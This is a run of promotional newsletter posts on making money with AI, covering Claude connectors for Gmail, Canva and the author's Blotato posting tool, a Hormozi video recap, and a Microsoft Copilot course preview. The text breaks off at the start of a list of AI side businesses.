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The people getting rich from AI right now are NOT the smartest.

They’re the ones with better foundational skills.

You don’t need to be technical.

You don’t need to build a product.

But you DO need to augment yourself AND your team… use AI to become 10x more valuable, not to replace yourself.

AI agents are here NOW. Not coming. Here.

1 person can do the work of an entire team.

But the window is closing.

So here are the 9 skills to win with AI, starting with the ONE skill most people skip.

Follow along with the full video here:

Who this is for:

People who want to monetize AI in 2026, NOT play around.

You’re not technical, you don’t want to build a product, and you’re drowning in AI content with no idea where to start.

1. Make “Ask AI First” Your Default Reaction

Something breaks. You’re stuck.

What do you do?

Most people Google it. Or text a friend. Or sit there frustrated.

Or pay $$$$ for some guru.

The skill is boring and almost nobody does it: ask AI FIRST.

Before Google. Before texting anyone. Before feeling stuck.

I see it every day. People drop a question in my comments… a question Claude would’ve answered in 30 seconds.

This sounds dumb simple. It IS. That’s exactly why it’s a skill. It’s a HABIT you have to build, not a tool you have to learn.

Action: Open Claude right now. Type the last thing you asked someone else.

2. Skepticism

Using AI every day means NOTHING if you trust everything it says.

AI hallucinates. Confidently. It makes things up and says them with a straight face.

A lawyer learned this the expensive way. The lawyer cited 3 court cases from ChatGPT in a real legal filing. All 3 were fabricated… big trouble.

That’s a career-ending mistake from skipping ONE step: verification.

The skill is simple. Verify everything AI tells you BEFORE you act on it. Especially numbers, names, citations, and anything you’d be embarrassed to get wrong.

Action: Open your last AI chat. Find 1 stat or claim. Verify it in a new tab right now.

Skepticism also applies to everything you read AI online… be ESPECIALLY SKEPTICAL of AI influencers who wear red sweaters:

3. Context Is the Skill

You’re using AI and verifying it. Now here’s the ONE thing that makes every single output better.

Context.

The quality of what AI gives you is directly correlated to the quality of the context you give it. Not quantity of context, but QUALITY of context.

“Write me a plan” = 3 vague bullets.

Garbage in, garbage out.

But add your goal, your audience, your constraints, your numbers… now you get a real strategy you can actually run.

Here’s the prompt to use when you’re stuck and don’t even know what context to give. Run this:

I want to [your goal].

What do you need from me to give your best answer?

Let AI tell you what it needs. Then feed it back. The output quality skyrockets to a different level. UNLOCKED.

Walk away with: A repeatable way to turn vague prompts into precise, usable output.

4. Augment Your Experts, Don’t Skip Them

This is where most people get AI completely wrong.

They think AI REPLACES the expert. So they fire the accountant, skip the lawyer, and ask ChatGPT for tax advice.

That’s how you make expensive mistakes.

The real move - use AI to walk in PREPARED.

This is my personal formula:

AI LEVERAGE = YOUR SKILL x YOUR CLARITY

If you don’t know ANYTHING about finances or numbers, please don’t try to replace your accountant/CFO/CPA. The leverage you will get is infinitesimal.

Instead, use AI to help you get educated. Explain basic concepts. Prep 5 questions for your exact situation.

That’s the difference.

AI gets you 75% of the way to asking smarter questions. The expert closes the remaining 25% that actually matters for YOUR situation.

Action: Paste this before your next high-ticket appointment:

I’m meeting my [accountant / lawyer / doctor] this month.

What are 5 concepts I should understand and give me 5 specific questions to ask based on my situation: [describe it].

5. Treat AI Like a New Hire

AI doesn’t know your business on day 1.

Stop expecting genius from a coworker who started 5 minutes ago and knows nothing about you.

You train a new hire over MONTHS. This “onboarding” period is baked into all proper hiring plans.

Same with AI!

Day 1, it’s empty. Day 30, it’s filling in. Day 90, it’s trained and runs without you spelling out every detail (most of the time).

I fed Claude my brand voice, my goals, my past content, my corrections. By month 3, it runs a huge chunk of my content pipeline without me re-explaining myself every time.

But this took TIME to refine.

Continuous feedback.

Everytime I sit down to make content, I improve the system (i.e. give feedback) even just a little bit.

The compounding is the whole point.

Most people quit on day 2 because the day-1 output was “mehhh.” That’s like firing an employee after their 1st hour. Completely unreasonable expectations.

Action: Try this prompt…

My tone is [X]. My audience is [Y]. My #1 goal is [Z].

Interview me until you’re 95% confident you can produce the high-quality outputs I want.

6. Build a Continuously Improving Feedback Loop

Here’s what makes the “new hire” compound…

At the END of every session, ask AI to critique itself.

Most people never do this. They get an okay answer, close the tab, and start from scratch tomorrow.

Instead, run this at the end:

Reflect on our chat.

Update our skills to better reflect my preferences.

Save the answer. Do this for 30 days and you’ve built a personal prompt guide… from your OWN real sessions, not some generic template you downloaded.

(confession: as much as I love sharing huge library compilations, they’re not that useful, much more effective to build your own skills from scratch, starting tiny, then building up w/ feedback)

The loop is: chat, reflect, improve, repeat.

Each cycle makes the next sharper.

7. Documentation

This one is as old as sand, but AI made it 10x more valuable.

Every process you repeat more than 3X needs to be written down.

Onboarding. Content batching. Invoices. Whatever you do on autopilot every week.

Why? Because a written playbook is the context AI needs to do the PROCESS for you.

I take a process that used to eat 4 hours, write down the steps once, feed it to Claude, and now it runs in about 30 minutes.

(to clarify: that’s the ideal scenario, it’s a little messier IRL)

The doc is what does the heavy lifting.

Without it, you re-explain the same task every single time.

With it, AI runs the playbook with higher reliability.

Action: Pick 1 thing you do manually every week. Write down the steps. Then feed it to Claude:

Turn this into a reusable skill I can run every week.

Walk away with: One repeating task cut from hours to minutes.

8. AI Agents + Tools

You’ve built the system…

Now stop CHATTING with AI and let it actually DO things.

This is the shift from AI yapper chat to AI agent.

A chatbot gives you advice. An agent connects to your tools and takes action.

In Claude, this lives under Connectors (MCP). Connect your Gmail, and Claude can read threads, draft replies, and flag what needs your attention… in your REAL inbox, not a copy you paste in.

I know the internet promises AI will “run your whole business while you sleep.”

99% of the time that’s a clickbait hook to grab your attention for 3 seconds because you were just watching cat videos.

But this part is real, and it’s here today.

Start tiny. One connector. One real task. Seriously.

Action: Go to Claude.ai. Click the “Customize” menu, open “Connectors,” connect “Gmail,” then run 1 real task like “summarize my unread threads and flag anything urgent.”

9. Stop Trying to Build an AI Business

Last one…

And it’s the mindset shift most people WILL get wrong.

Do NOT quit your job to start an “AI startup.”

You don’t need a new company. You need to apply AI to the business you ALREADY have, or at least a proven business model.

An online coach I know records his meeting notes, has Claude draft social content from them, and posts it via Blotato + Claude. No code. About ~3 hours a week saved and a marketing channel he never had time for before.

Key point: he didn’t build an AI business!

He deployed AI in his existing business.

That’s where the money actually is for most people.

Picking the WRONG path, or doing too many paths at once, is why most people stall before they see a single dollar.

Action: try this prompt…

I do [task] manually every week.

How would I automate this with AI today, without writing code?

RECAP

AI can feel magical, but it isn’t magic.

Treat AI like a team member you train, over time, give context to, give feedback to, and continuously manage over time.

The philosophy: augment, don’t replace.

Make yourself more valuable, not redundant.

Because your AI Leverage = YOUR Skill x Your Clarity!

These 9 skills aren’t about KNOWING AI.

They’re about how you THINK and WORK.

1/ Ask AI first, before Google, before feeling stuck

2/ Stay skeptical, verify before you act

3/ Context is the skill, vague in means vague out

4/ Augment your experts, walk in prepared

5/ Treat AI like a new hire, train it for months

6/ Build a feedback loop, let it critique itself

7/ Write SOPs, the doc is what AI runs

8/ Use AI agents, connect tools and take action

9/ Apply AI to your existing business, don’t start an AI startup

Pick ONE skill from today. Apply it THIS week.

This is the RIGHT way to use AI in 2026… not as a toy, but as a teammate you continuously train.

FAQ

Do I need to be technical to use these 9 AI skills? No. None of these require code. The hardest “technical” step is clicking “Connectors” in Claude and connecting your Gmail, which takes a couple minutes.

Which AI tool should I use, ChatGPT or Claude? Either works for skills 1 to 7. For skill 8 (AI agents), I use Claude because Connectors (MCP) make it easy to plug into Gmail, your calendar, and other tools you already use.

What’s the difference between an AI chatbot and an AI agent? A chatbot gives you advice when you ask. An agent connects to your real tools (like Gmail) and takes action for you, such as reading threads and drafting replies.

What’s the one prompt to use when I’m stuck? Paste: “I want to [goal]. What do you need from me to give your best answer?” Let AI tell you what context it needs, then feed it back.

Should I quit my job to start an AI business? No. For most people the money is in applying AI to the business you already have, not starting a brand-new AI startup with tools you’ve never used.

How fast will I see results? Treat it like training a new hire. Day 1 is rough, by month 3 it’s running real parts of your work. Pick 1 skill this week instead of trying all 9 at once.

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TLDR: Here’s how to connect the Canva connector to Claude, design and edit social media posts just by chatting, then auto-post them to every platform with Blotato.

Designing social posts used to eat my whole afternoon.

Open Canva. Hunt for a template. Retype everything. Fix the spacing. Export. Re-upload to 5 platforms. Repeat.

Now I just talk to Claude!

You can connect Canva directly to Claude, generate dozens of designs, and post everywhere WITHOUT leaving the chat.

I grew to 2.4+ million followers solo, and honestly this is magic.

We’ll set it up step-by-step, and by the end you’ll have a REAL design posted to your REAL accounts.

Who this is for:

Creators, founders, and business owners who want to make social content FAST with AI in 2026.

You’re tired of paying a designer, wrestling with templates, or staring at a blank Canva page not knowing where to start.

Follow along here:

1. Connect Claude and Canva

Claude is smart, but by default it’s just a chatbot.

It can’t touch your real tools.

That changes the second you turn on a CONNECTOR.

A connector lets Claude actually USE the apps you already use. Hook up Gmail and it reads and drafts your emails. Hook up Google Calendar and it sees your week and books events for you.

Notion, Google Drive, Slack… there’s a connector for most of the tools you live in.

This is the difference between AI that talks and AI that does. A chatbot gives you advice. A connected Claude opens the app and finishes the job.

Today we hook up Canva.

You don’t need Claude Code, Claude Desktop, or anything fancy. Just claude.ai in your browser.

Here’s the setup:

• Open settings: bottom left corner, click your name, then Settings, then Connectors.

• Browse connectors: click “Browse connectors” and search “Canva”. It’s the first result.

• Connect: hit the “+” button, then click Allow when Canva asks for access.

• Permissions (optional): click Configure any time to see or change what Canva can do. You don’t need to touch this now.

When you click that + button, Canva asks permission to connect to your account.

This is the part people get nervous about, so let me explain it.

You’re letting Claude read your designs, create new ones, and export them. That’s it. You can change any of these permissions later under Configure.

One nice surprise… a FREE Canva account already opens up most of what you’ll see today. You don’t need a paid plan to start.

2. See everything Claude + Canva can do

Before I touch any new AI tool, I run ONE prompt to map what it can actually do.

Start a new chat and paste this:

List every Canva connector feature available in this chat, using only the actual exposed tool list as source of truth.

Output a bullet point list, with a sample prompt for each feature and the Canva plan required.

Claude reads the entire connector and hands you a clean menu.

Generate a design. Create a presentation. Review a presentation outline. Edit an existing design. Import a design from a URL. Export a design. And a sample prompt for each one, plus whether it’s free or paid.

Most of the basics work on a free Canva plan. A few of the fancier moves want a paid plan, and the list tells you which is which up front, so you never waste time on something you can’t use yet.

I love this prompt because it kills the guessing.

No more “I wonder if it can do X…”

You get the full list, and you pick what you want to try first.

Save this prompt. I run it for EVERY new connector I add, not just Canva. It’s the fastest way to learn what’s possible with a tool.

3. Design from scratch (no template needed)

Sometimes you don’t have a template.

You just have an idea.

So I asked Claude to create an Instagram post for a new product feature, and I pasted my website link so it had real context about my company.

Pasting your website or brand link is the trick here. Claude pulls your actual product details, tone, and colors instead of inventing generic filler. The more context you hand it, the less you have to fix later.

Canva didn’t give me ONE design.

It gave me 4 to choose from.

I picked the one I liked and gave feedback in plain English:

Use design 3, but make the text at the top more prominent and neon pink.

Claude found the exact text element, made it bigger, bolder, and neon pink, then asked if I wanted to save.

It even drafted Instagram captions for me at the same time.

I said yes. Done. Opened it in Canva and it looked exactly like I pictured.

Want another change? Just tell Claude. It updates the Canva design for you, over and over, until it’s right.

This is the loop: describe, review, tweak.

No menus, no dragging little boxes around.

Just chatting it up with our lovely Claude!

4. Reuse a Canva template you already love

Building from scratch is fun, but most of the time you already have a template you like.

You just want to swap the text and images and keep the design.

In Canva, click Templates and search for the type you want. I searched “carousel” and found a cute one.

Click “Customize this template”.

That makes a copy you can edit, and Claude can edit it too.

Copy the link to your version, then run this:

Analyze my Canva template, especially the number of words per section: [paste your template link]

Then plan a new carousel with text for each slide.

Finally, make a carousel with my new text using the template.

Here’s WHY the “number of words per section” line matters so much.

Canva templates are already designed beautifully. If you cram a paragraph where 5 words belong, the whole thing breaks.

This prompt makes Claude study the layout FIRST, then fit your content inside what already works.

You can swap the images too, not just the text. Tell Claude which photos to use, or point it at images already sitting in your Canva folders, and it drops them into the right spots.

Claude even asks you clarifying questions before it starts, so the slides actually say what YOU want.

Mine wasn’t perfect on the first try.

One title overlapped a little.

But that’s the cool part. I opened it in Canva, nudged the text, and every edit synced back instantly! Claude had even flagged the overlap itself before I noticed, so it could’ve fixed it.

5. Make Claude your social media manager

The design is done. Now the boring part… posting it everywhere.

This is where a single connector will save you 5 hours per week.

I post with my own app, Blotato. I built it for myself as a solo creator to scale across platforms. As of May 2026, the lowest plan is $29/month and connects 20 social accounts.

(For comparison, this would cost $83/month in Buffer)

Connect your accounts inside Blotato, then generate your API key.

Add it to Claude as a custom connector with URL: https://mcp.blotato.com/mcp

Now Claude can post everywhere for you.

Try this prompt:

I made my final edits.

Now post it to Facebook and Instagram.

Claude found my accounts, drafted captions in my voice, and asked a couple of quick questions, like which Facebook page to use.

I told it to post now.

32 seconds later, the carousel was live on Instagram and Facebook.

You don’t have to post now though.

Tell Claude to schedule it for later.

Open the calendar, set your weekly posting times once, and Claude drops each design into the next open slot. That’s how 1 person grows on multiple social platforms, without multiplying work.

And the same Blotato connection can post to LinkedIn, Twitter, Threads, Bluesky, and TikTok too. One design, every platform, from a single sentence:

Post this to Instagram, Facebook, LinkedIn, and Threads.

Optimize the caption for each platform.

Claude shortens it for Twitter, keeps it conversational for Threads, and makes it polished for LinkedIn. You review, then it ships.

6. Common errors (and the prompts that fix them)

You might hit 2 errors the first time. Both look scary. Both have a super simple 1-line fix!

» Error 1: the Canva export domain.

When Claude tries to post your design, you might see a message that the Canva export domain (export-download.canva.com) is not in its sandbox network allowlist, and that it can only use URLs you give it.

It reads like something broke. Nothing broke. Tell Claude:

Export from Canva, then pass the Canva export domain URLs directly to Blotato to post.

Then tell Claude to remember it, so you never type it again.

» Error 2: using your own photos and videos.

If you want your own images or clips in the Cavna design, Claude sometimes gets confused and tries to spin up a little server to host them.

Stop it and tell Claude:

Use Blotato to upload your photos/videos so Canva can use them.

This works because Blotato has a media library. You upload your files there, and Canva pulls them in. No Google Drive, no Dropbox, no extra steps. Just tell this to Claude, and it’ll do it.

RECAP

Here’s the whole flow, start to finish:

1. Connect Canva to Claude with a connector.

2. Run one prompt to see everything it can do.

3. Generate a design from scratch, or reuse a template you love.

4. Make your final tweaks in Canva, everything syncs.

5. Connect Blotato and let Claude post to every platform for you.

And we barely scratched the surface!

You can drop in your own photos and videos, build numerical infographics, and on a paid Canva plan, set up a brand kit so every design uses your logo, colors, and fonts automatically.

So pick ONE thing to try this week.

Just one.

This is what AI is actually for. Not chatting. Shipping.

Watch the full walkthrough here:

What are you designing first, a poster or a carousel?

Hit reply and tell me!

FAQ

Do I need a paid Canva plan?

No. A free Canva account covers most of this, including generating and editing designs. A few advanced features, like a brand kit, need a paid plan.

Do I need Claude Code or Claude Desktop?

No. Everything here works in claude.ai in your browser. You just turn on the Canva connector.

Can Claude post to Instagram and Facebook for me?

Yes. Connect Blotato to Claude as a custom connector, and Claude drafts the caption and posts to Instagram, Facebook, LinkedIn, Twitter, Threads, Bluesky, and TikTok.

How do I fix the “Canva export domain” error?

Paste this: “Export from Canva, then pass the Canva export domain URLs directly to Blotato to post.” It works the first time, then tell Claude to remember it.

Can I use my own photos and videos?

Yes. If Claude gets stuck, tell it: “Use Blotato to upload the photos or videos so Canva can use them.” Blotato’s media library handles the hosting.

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If you’re a business owner still using AI like a search engine… you’re already losing.

Alex Hormozi dropped his “How to Win With AI in 2026” video.

And I’m walking through every key point with REAL examples from my own work, plus the insights on WHY each approach works.

2026 is the year AI agents got real. They connect to your email, your calendar, your CRM, your support system, your social accounts, your customers.

The window is right now, BEFORE competitors catch up.

Most people teach AI like a toy.

But you should learn it like a stack. Context, constraints, tools.

This is the difference between ChatGPT yapping uselessly versus a coworker shipping work while you sleep.

Who this is for:

Business owners who want to win with AI in 2026.

Confused where to start, drowning in tutorials, tired of “tips” with no impact on revenue.

Who this is NOT for: people who already have an AI-native stack that has tripled their income. People who are NOT building a business or side income.

1. The AI Urgency Curve

You’ve heard it 100 times…

“AI will never be worse than it is right now.”

True.

And most people STILL don’t act on it.

I went from 0 to 2+ million followers SOLO and thousands of paying customers SOLO, literally building this playbook in realtime while most people were still debating ChatGPT vs Gemini.

• The compounding gap: every month you wait, the people who started BUILDING and putting themselves out there gain another month of leverage

• The intimidation trap: most people stall because they think AI means “technical”. It’s not.

• “I’ll learn it later”: AI isn’t a single skill you pick up in a weekend. It’s a STACK you build over months

Most people in your industry haven’t even tried Claude. The advantage is HUGE if you start now.

So here’s the first thing to do.

Open ChatGPT or Claude. Paste this prompt:

List 3 ways AI puts my income at risk in the next 24 months.

Then list 3 AI skills I should learn THIS month to stay ahead.

2. The AI-First Business Window

There has NEVER been a better time to build an AI-native business.

I prefer “AI-native” over “AI-first.”

Native means you architect the company assuming AI plays a productive role in every department from DAY ONE.

Not “we’ll bolt AI on later.” Native.

Now think about a big company with 5,000+ employees. My first startup was acquired by one. I was a Director Product Management there. I loved the people, but it’s enterprise. It moves SLOWLY.

Even when something is “fast” it takes weeks of meetings, approvals, trade-offs, politics, stakeholder updates.

Combine your tiny company + AI = lightning speed.

• Speed is your only advantage: tiny companies don’t have brand, resources, or people. They have speed. AI multiplies this.

• The feedback loop wins: 10 variations, tested fast, double down on winners, kill losers, repeat. AI compresses this loop from weeks to hours.

• Anthropic’s growth team is 1 person: he runs AI agents to analyze ads, generate creative, deploy variants, AB test, repeat

• AI-native startups hit $100M ARR in <18 months: Cursor, Lovable, Higgsfield. The old Silicon Valley playbook took 5+ YEARS to hit those numbers. Anthropic growing 80x in Q1 2026 BLEW EVERYONE’S MINDS in Silicon Valley.

• Revenue per employee jumped 10x: Buffer has hovered around $250K/employee for years (high end for SaaS). Recently they cracked over $300k+/employee. However, AI-native companies are doing, on average, around $2 million revenue per employee.

This 10x didn’t exist 5 years ago. I’ve been in the startup world since 2013. I assure you it didn’t.

This is why I’m so passionate about teaching entrepreneurs.

If I taught big companies, sure I’d help them make/save BILLIONS of dollars. BUT the gains do NOT trickle down to employees… you’re an item in a spreadsheet.

But if YOU build for yourself, you keep the GAINS.

How many people’s lives would change with an extra $10k/month?

And once you hit $10k, you realize you can probably grow the thing to $100k per month.

You + AI = lightning speed compounding into REAL revenue.

3. Stack Skills, Stack Leverage

Every skill you stack into AI gives you DISPROPORTIONATE leverage over competitors who haven’t figured it out yet.

Think of it as a staircase:

• Level 1, Prompts: basic prompting. Most of my short-form tiktok/instagram content is this. Still valuable for beginners.

• Level 2, Context: structured projects with persistent context, instructions, knowledge files

• Level 3, Tools / MCP: connecting AI to your real systems (Gmail, calendar, CRM, support, deelopment, etc)

• Level 4, Proactive agents: scheduled tasks, webhooks, agents running 24/7 without you, monitoring proactively

Most people are STUCK at Level 1.

If you’re reading this newsletter, you’re MAYBE at level 2 or 3.

We’re a tiny bubble inside a bubble. Most of the world hasn’t even tried Claude. And inside this tiny bubble, most people don’t even know Level 3 exists.

The opportunity for AI education is massive.

Here’s a REAL example from my startup.

I built an AI support agent running 24/7. It has access to help docs, customer logs, and tools to perform actions (i.e. cancel subscriptions, restart subscriptions, apply discounts).

It handles roughly 70% of support tickets while I sleep. Far from perfect, but it’s enabled me to scale to 1000s of paying users.

But it’s not 1 agent. It’s multiple agents working together:

• Primary agent: reads tickets, searches help docs, drafts replies, sends responses, identifies documentation gaps, suggests features and help doc improvements

• Cleanup agent: closes tickets where confidence is above 96%

• Adversarial agent: double-checks the cleanup agent’s work and re-opens tickets it thinks were closed prematurely

This is what Level 3 + Level 4 looks like in practice.

Now here’s the simple version YOU will do today:

Open Claude. Go to customize in the left sidebar. Click Connectors. Connect Gmail.

Then ask:

Summarize my unread emails and flag what needs a reply today.

Boom. You did Level 1, 2, and 3 in 5 minutes.

It’s not hard per se.

But it’s confusing amidst all the hype/noise.

To hit Level 4, go to Schedule in the left sidebar and tell Claude to send you a daily email brief at 7am.

Done. You’re further along than 99% of “AI users”.

Prompts.

Context.

MCP/tools.

AI agents.

This is the order in which to learn practical AI.

4. Workflows, Not Roles

Stop thinking in ROLES.

Start thinking in WORKFLOWS.

This is where most people get stuck.

They ask “how do I use AI to do sales?” or “how do I replace my support person?”

And it feels overwhelming because a sales person or support person does MANY discrete tasks.

Instead, break the role into concrete tasks.

A support person doesn’t “do support” They:

• Read the message

• Search for relevant info

• Draft a reply

• Review the reply

• Send the reply

• Escalate to a human when stuck

Now you have 6 discrete steps. Each one is a candidate for AI.

Here’s the exercise:

Pick a task you do every week.

List every single step. Be specific.

Paste the list into Claude.

Ask: “Which steps will AI handle today, and what tool do I use for each one?”

Done. AI will tell you where the leverage is.

If you stall on listing the steps, ask AI to interview you:

Interview me to figure out what I do every day. Ask me one question at a time.

It’ll make the list for you.

Stop using AI to “replace a person”.

I know you see this message on instagram/tiktok/youtube, but 99% of the time, these are clickbait hooks we use because they get you to pay attention for 3 seconds.

Use AI to replace a TASK.

A role is 20 tasks stacked together, and you’ll eventually learn which tasks SHOULD be handled by a human, which tasks should have human oversight, and which tasks can be safely automated by AI with high reliability (hint: nowhere near 100%).

5. The TCCA Prompt Stack

Train AI the way you’d train a person.

Most people prompt AI like they’re Googling. One sentence. No context. No constraints.

Then they wonder why the output feels generic.

TCCA fixes this:

• T = Task: the thing you want done (“write me an email”)

• C = Context: who, what, why (“reply to a customer who trialed for 14 days and didn’t convert”)

• C = Constraints: the rules (“under 100 words, no em dashes”)

• A = Ask: ask me clarifying questions BEFORE you start

The Ask is my favorite because I’m lazy and forget acronyms.

AI just asks me what’s missing.

And it forces me to think; this is a GOOD thing btw.

Here’s a complete TCCA example:

Task: Write a follow-up email to a customer.

Context: They trialed Blotato for 14 days and didn’t convert. They used the product 3 times in week 1, then stopped.

Constraints: Under 100 words, no em dashes, must mention they have an option to extend the trial.

Ask: Ask me clarifying questions one at a time until you’re 95% confident in your answer.

The output is 10x better than “write me an email to a customer.”

Here was Hormozi’s example:

He gave AI 12 rules and 16 writing samples for his email copy. Result was 5x better than “write this email.”

Action step:

• Pick your most-repeated weekly task

• Write it out using TCCA

• Paste it into Claude

• If the output is good, save it as a reusable skill or GPT

• Next time you do this task, open the skill

You stopped repeating yourself. This is leverage already.

The right prompt isn’t a magic spell.

It’s a job description.

Write it like you’re hiring someone.

6. The Last Human Moat, Bet On Yourself

This was really interesting. Hormozi’s point: the last valuable thing a human gets paid to do is take RISK.

You either go all-in on AI-native and build something doing millions in revenue per employee… or you focus on businesses where the human element won’t be removed (live events, hospitality, certain services).

My take: bet on YOURSELF.

I’m passionate about teaching AI to individuals, NOT big corporations. Because big-company gains don’t trickle down to you. I’ve worked at one. You’re an item in a spreadsheet. They will lay you off whenever they want, and companies aren’t built to care. That’s not how the corporate incentive system is structured.

But if you build your own income streams, every dollar lands in YOUR control.

• The skill compounds: build one business and you’ll be able to build another. The skill of building > the business itself. Most people get this wrong and violently spiral in stress, unable to choose the ONE PERFECT business they should start. The reality is you can change your business, you can sell your business, you can start a different business. It’s actually all about YOU and building up your skills/confidence.

• You don’t need a team to start: deploying AI properly, you can scale to revenue levels that previously required a big team. This is not to say you’ll never hire. In fact, I’ve recently started hiring for Blotato even though I could keep growing it solo. The point is - the choice is yours.

• You don’t need permission: no boss, no board, no investors. You + AI native stack + a problem to solve. I honestly hated having investors, even though I had no problem with them as people. But my life now is 1000x more fun than when I was Founder/CEO of a VC-funded startup… AND I make so much more money. Weird.

Hormozi shared a story about his friend spinning up a division inside his own company with one mission… put the larger business OUT of business.

Cool challenge. But I’d argue the gains still go to the company.

I encourage you to bet on yourself.

BUT REMEMBER:

Pick where you START.

You are not picking where you END, so stop being a perfectionist!

7. The Daily Task Audit

Every day. Write down what you did.

Find the tasks taking 1 hour today.

Find the ones you’ll compress to 15 minutes with AI.

Across 10 tasks, you’ll get hours back every single day.

Hormozi’s example: “running Facebook ads” isn’t a task. This was a fun example because I recently learned Facebook ads from the amazing Mitch Barham.

Break it into:

• Campaign setup

• Budget allocation

• Performance analysis

• Creative generation

• Copywriting

• Landing pages

• Headlines

Now each task is something AI can help with.

I recently ran bottom-of-funnel Facebook ad campaigns and made 3 creatives with Nano Banana in literally 10 minutes. One of them does NOT even look like me. They’re all doing well anyway with 3-month payback period (this is considered good for low-ticket Saas).

If I’d tried to make those in Canva, each would’ve taken 2 hours. With Nano Banana, 2 minutes each. Personally, I’m HORRIBLE at design and thinking in layers. I mean, look at this newsletter :D

This is the compression Hormozi is talking about.

And for copywriting (which I’m BAD at because it feels salesy to me), I had Gemini write a churned-user reactivation campaign based on one of the best copywriters in business.

Then I asked it WHY its version was better than mine.

It explained: mine describes the tool, the copywriter version harps on emotion.

AI was teaching me, while helping me streamline my work.

Your goal is NOT to automate everything.

Your goal is to compress 30 minutes into 2 minutes.

Then do this 10 times.

RECAP

1. The window is NOW. AI compounds. Waiting costs you.

2. AI-native businesses are architected to do millions in revenue per employee. Build yours this way from day 1 by stacking…

3. Stack skills: prompts, context, tools, proactive agents. Most people are stuck at step 2.

4. Workflows, not roles. Break the role into discrete tasks. AI won’t be able to handle all, but that’s ok.

5. TCCA: Task, Context, Constraints, Ask. Write prompts like job descriptions.

6. Bet on yourself. The last human moat is risk. Take it for YOU, not your employer.

7. Daily task audit. Find 30-minute tasks you do every week. Compress each to 2 minutes. Repeat. This leverage compounds.

This is the RIGHT way to use AI in 2026.

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If you’re at a company running Microsoft, Copilot is already there.

Sitting in the sidebar… collecting dust!

Built into Excel, Outlook, Teams, Word, PowerPoint.

But most people don’t touch it.

I brought in Microsoft Copilot trainer, Sharee Brockington, to teach you FOR FREE. She’s taught over 60,000+ people how to master Copilot and generously shared 2 HOURS of her expertise. Connect with Sharee: https://www.linkedin.com/in/sharee-ai

As usual - no slide decks, no theory, 2 hours of actual features, actual outputs, 100% hands-on, in the Microsoft apps.

Who this is for:

People using Microsoft 365 who want to get time back. Corporate professionals, managers, ops people, anyone whose workday lives inside MSFT Office apps. People who don’t want to switch tools. They want the tools they already have to stop sucking.

Who this is NOT for: people fully outside the Microsoft ecosystem with no plans to use it. This one’s not for you.

Below is a preview of what this course covers.

1. The Copilot Home Page is a hub, not a chatbot

Most people open Copilot, type a question, close it. And leave most of it completely unused.

The Home Page has a Prompt Gallery tied to your internal company files.

It has Custom Instructions. Here’s the part I loved: Copilot will draft those custom instructions FOR you, so no blank-page problem.

There are Saved Memories so Copilot learns your preferences.

There’s Copilot Search vs. Copilot Chat. They work completely differently, in meaningful ways for finding work information.

And there’s a scheduled prompts feature; you can set a prompt to run automatically on a recurring basis.

Sharee walks through the ENTIRE home page, feature by feature. Most people skip right past this section. Which is why they get un-inspiring results.

2. Wave 3 is a big meaningful upgrade

Wave 3 is rolling out NOW, and it’s very promising!

Excel: Generate a complete project tracking dashboard from a single prompt. Formulas, summary sheets, and an insights tab all created together. We also uploaded raw unstructured data from a Word doc and watched Copilot restructure it into a clean spreadsheet.

Word: Paste in a 150-page report. Get an executive brief in minutes. Then reorganize entire sections with a prompt, no cutting and pasting.

PowerPoint: Generate a full deck from scratch, OR enhance slides you already have with design suggestions, OR use the Designer Agent to create custom slide images.

Outlook: Set custom tone rules so AI-drafted emails sound like you. Get a morning summary of inbox priorities. Research supporting data mid-email, without switching tabs.

Teams: The Facilitator Agent records, transcribes, and writes your meeting notes. You don’t do anything. It handles the whole thing.

3. Agents do tasks. Copilot chat talks.

Most people use Copilot as a chatbot. Back and forth. Ask, answer. Ask again, answer again.

Yap yap yap…

Agents are conceptually different.

Give them a task, context, & tools. They go do it.

Microsoft has pre-built agents to start with. Although we don’t dive deep into agents in this course, at least you’ll know where to find them and can start experimenting.

In the future, you can BUILD your own custom agents tied to your company’s specific documents and workflows.

There’s also Copilot Notebooks, a mini knowledge base you build yourself. Upload your documents, ask questions grounded in YOUR content. Kinda like NotebookLM :)

If you spend lots of time hunting through company files to find information… this section is a must-watch!

4. Microsoft Copilot in Outlook and Teams will save you REAL hours

Last hour of the video gets into everyday stuff for corporate users.

Outlook:

• Daily inbox summary with priorities and next actions

• Auto-generated meeting agendas before you draft the invite

• Talking points pulled from attendee context

• Email history search across mailboxes before a call

Teams:

• Meeting prep: pre-read summaries, attendee background, key questions to walk in with

• The Facilitator Agent handles the ENTIRE meeting notes workflow

Copilot Pages:

• Edit and collaborate on AI-generated content in a shared canvas

• Convert a Copilot Pages doc into a full PowerPoint in 1 click

Plus the backslash command for tagging files and people mid-conversation, and the Copilot Sidebar for jumping between apps without losing your place.

In Conclusion

Microsoft Copilot is ALREADY embedded in tools you’re spending hours in every day.

Instead of switching workflows…

Instead of learning a new system…

Stop doing the slow version of things you’re already doing.

Sharee’s advice: adopt an AI-first mindset.

Stop reaching for AI… AFTER you’ve done the work manually.

Make it your FIRST step for every task.

This mindset shift is what gets results, not the tool itself.

If you’re already paying for Microsoft 365 Copilot… use it.

Because someone else at your company is starting to.

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If you’re not making money with AI yet… you’re on the WRONG path.

Nothing to do with which tools you use or how technical you are.

Everything to do with which of the 2 paths you pick.

I’ve watched a freelancer pull $30k/month from 7 clients, a guy do $4M/year from a paid AI community, and a friend vibe code an app to thousands in monthly recurring revenue.

All of these paths work.

But they split into 2 buckets, and picking the WRONG PATH or DOING TOO MANY PATHS AT THE SAME TIME is why most people stall.

If you never want to cold DM a stranger, you’re on Path A.

If you need income THIS week, you’re on Path B.

Who this is for:

People who want to monetize AI in 2026, NOT play with prompts, but confused where to start, drowning in information.

Who this is NOT for: People expecting passive income with zero work. None of these are passive. Not even close.

Here are the 9 businesses… ranked from “slow burn” to “fast cash” to “honestly hard”.

1. AI Content Creator (Path A)

Watch tutorials on YouTube. Experiment with prompts and skills.

Then, share what you learned on social media.

That’s the whole loop.

Most creators overcomplicate this. The playbook is dumb simple:

• Pick a hot topic: Claude is the obvious one right now.

• Search the hashtag on TikTok and Instagram. Watch the videos with 1M+ views.

• Copy the first 10 seconds EXACTLY: hook, structure, opening line.

• Cap each video at 45 seconds: anything longer underperforms and burns you out in the beginning.

• Post daily: same loop, different topic, every single day.

• Monetize at 10k followers: it’s where sponsorships and collaborations start landing in your DMs.

People feel weird about copying. It’s good. It means you have a moral compass.

But almost EVERY AI creator who exploded in the last year did this exact thing. They COPIED viral formats that are proven to work

Walk away with: A repeatable daily loop. ~6 months to your first sponsorship inquiry.

2. Repurposing For Growing Creators (Path A)

